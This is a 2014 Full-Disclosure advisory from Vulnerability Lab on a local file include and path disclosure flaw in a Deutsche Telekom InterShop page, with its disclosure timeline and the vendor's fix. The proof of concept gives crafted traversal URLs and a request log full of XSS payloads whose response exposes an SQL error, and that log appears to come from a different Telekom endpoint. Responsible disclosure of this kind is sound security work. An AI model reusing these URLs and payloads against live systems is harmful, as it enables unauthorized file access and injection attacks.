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[Full-disclosure] Telekom Bug Bounty #12 - File Include Web Vulnerability
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] Telekom Bug Bounty #12 - File Include Web Vulnerability
- From: Vulnerability Lab <admin@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 27 Feb 2014 12:10:36 +0100
Document Title:
===============
Telekom Bug Bounty #12 - File Include Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1178
Release Date:
=============
2014-02-27
Vulnerability Laboratory ID (VL-ID):
====================================
1178
Common Vulnerability Scoring System:
====================================
7.1
Product & Service Introduction:
===============================
Deutsche Telekom AG (English: German Telecom) is a German telecommunications
company headquartered in Bonn, North Rhine-Westphalia, Germany.
Deutsche Telekom was formed in 1996 as the former state-owned monopoly Deutsche
Bundespost was privatized. As of June 2008, the German
government still holds a 15% stake in company stock directly, and another 17%
through the government bank KfW.
(Copy of the Homepage: http://en.wikipedia.org/wiki/Deutsche_Telekom &
http://www.telekom.com/bug-bounty )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a file include web
vulnerability in an official German Telekom website web-application.
Vulnerability Disclosure Timeline:
==================================
2014-01-01: Researcher Notification & Coordination (Ibrahim Mosaad El-Sayed)
2014-01-03: Vendor Notification (Telekom CERT Security Team)
2014-01-16: Vendor Response/Feedback (Telekom CERT Security Team)
2014-02-20: Vendor Fix/Patch (Telekom Developer Team)
2014-02-27: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Deutsche Telekom (German Telecom)
Product: InterShop - Web Application (Framework) 2014 Q1
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
Technical Details & Description:
================================
A local file/path include and arbitrary file upload vulnerability has been
discovered in the official Telekom GT INTERSHOP website web-application.
The arbitrary file upload issue and file include web vulnerability allows
attackers to unauthorized include/request/access or upload own files/ context.
The local file include and arbitrary file upload web vulnerability is located
in the vulnerable parameter `filelist` of the file `ViewStaticContent-Start`.
Remote attackers, if they know the main correct path, can view the source code
of any file on the system. The issue has the character of a file include
but also an arbitrary file upload issue. The security risk of the arbitrary
file upload and local file include web vulnerability is estimated as
high with a cvss (common vulnerability scoring system) count of 7.1(+).
Exploitation of the local file include and arbitrary file upload web
vulnerability requires no user interaction or privileged web user account.
Successful exploitation of the local web vulnerability results in
web-application compromise by unauthorized local file include web attacks.
Vulnerable Parameter(s):
[+] filelist
Affected Module(s):
[+] ViewStaticContent-Start
Proof of Concept (PoC):
=======================
The local file include and arbitrary file include web vulnerability can be
exploited by remote attackers without user interaction or privileged user
account.
For security demonstration or to reproduce the web vulnerability follow the
provided information and steps below.
1) By visiting:
https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start
?filelist=css/default/process/process_apds.css&filetype=js
2) we will notice the source code of the css file
3) if we changes the file type from js to css
4) the link will become:
https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start
?filelist=css/default/process/process_apds.css&filetype=css
5) We will notice that the paths of the different files in the css file have
been changed from relative paths to absolute paths
in the frst link the path of the images was similar to this:
background: url(../../../images/symbols/BG_APDS_tarif_grau.gif) no-repeat;
After changing the “filetype” parameter from js to css, the path has became:
background:
url(/is-bin/intershop.static/WFS/EKI-PK-Site/EKI-PK/de_DE/images/symbols/BG_APDS_tarif_grau.gif)
no-repeat;
we see that the paths changed from relative paths to absolute ones which
considered as path disclosure vulnerability
To include a file for example the following image:
../../../images/symbols/BG_APDS_tarif_grau.gif
we can change the vulnerable link to be:
https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start?filelist=images/symbols/BG_APDS_tarif_grau.gif&filetype=css
Another way to include the same image is:
https://www.telekom.de/is-bin/INTERSHOP.enfinity/WFS/EKI-PK-Site/de_DE/-/EUR/ViewStaticContent-Start
?filelist=../de_DE/images/symbols/BG_APDS_tarif_grau.gif&filetype=css
In this link we go back one folder and then we go inside the folder again. The
folder name is "de_DE" which we got from the path disclosure vulnerability
--- PoC Session Logs ---
//The Send request
POST /englishtest2004/test.asp
HTTP/1.1
Host: gt.telekom.de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:25.0)
Gecko/20100101 Firefox/25.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://gt.telekom.de/englishtest2004/html/intro_11.htm
Cookie:
_ga=GA1.2.1524944686.1388633141; ASPSESSIONIDQAQRBTRB=PJJNFNFCCPEDGGLMFOGEGNGK
Connection:
keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length:
482
response=%2Fenglishtest2004%2Fhtml%2Fstarttest.htm&to=hans-juergen.grunwald%40telekom.de&from=
&subject=Fokus_Sprachen_%26_Seminare-Login&smtphost=localhost&mailbody='&NAME=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&VORNAME=
%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&PLZ=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&EMAIL=%22%3E%3Cimg+src%3Dx+
onerror%3Dalert%281%29%3E&TELEFON=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&ORT=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E
//Response
HTTP/1.1 500 Internal Server Error
Date: Thu, 02 Jan 2014 03:49:47 GMT
Server: Microsoft-IIS/6.0
X-UA-Compatible: IE=EmulateIE7
X-Powered-By: ASP.NET
Content-Length: 572
Content-Type: text/html
Cache-control: private
insert into Sprachtest(Name, Vorname,PersNr,Telefon,Fax, Ergebnis)VALUES
('"><img src=x onerror=alert(1)>','"><img src=x onerror=alert(1)>','','"><img
src=x onerror ',' ',''');
<font face="Arial" size=2>
<p>Microsoft OLE DB Provider for ODBC Drivers</font> <font face="Arial" size=2>
error '80040e14'</font>
<p>
<font face="Arial" size=2>[Microsoft][ODBC SQL Server Driver][SQL Server]Kein
schließendes Anführungszeichen nach der Zeichenfolge '');'.</font>
<p>
<font face="Arial" size=2>
/englishtest2004/test.asp</font><font face="Arial" size=2>, line 23</font>
Picture(s):
../1.png
../2.png
../3.png
Resource(s):
../poc-session-results.txt
Solution - Fix & Patch:
=======================
The local file include web vulnerability can be patched by a secure filter
restriction and encode to parse the vulnerable filelist parameter.
Ensure the back request of the filetype to the css is secure and make a proof
to validate.
2014-02-20: Vendor Fix/Patch (Telekom Developer Team)
Security Risk:
==============
The security risk of the local file include web vulnerability is estimated as
high(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Ibrahim Mosaad El-Sayed
(ibrahim@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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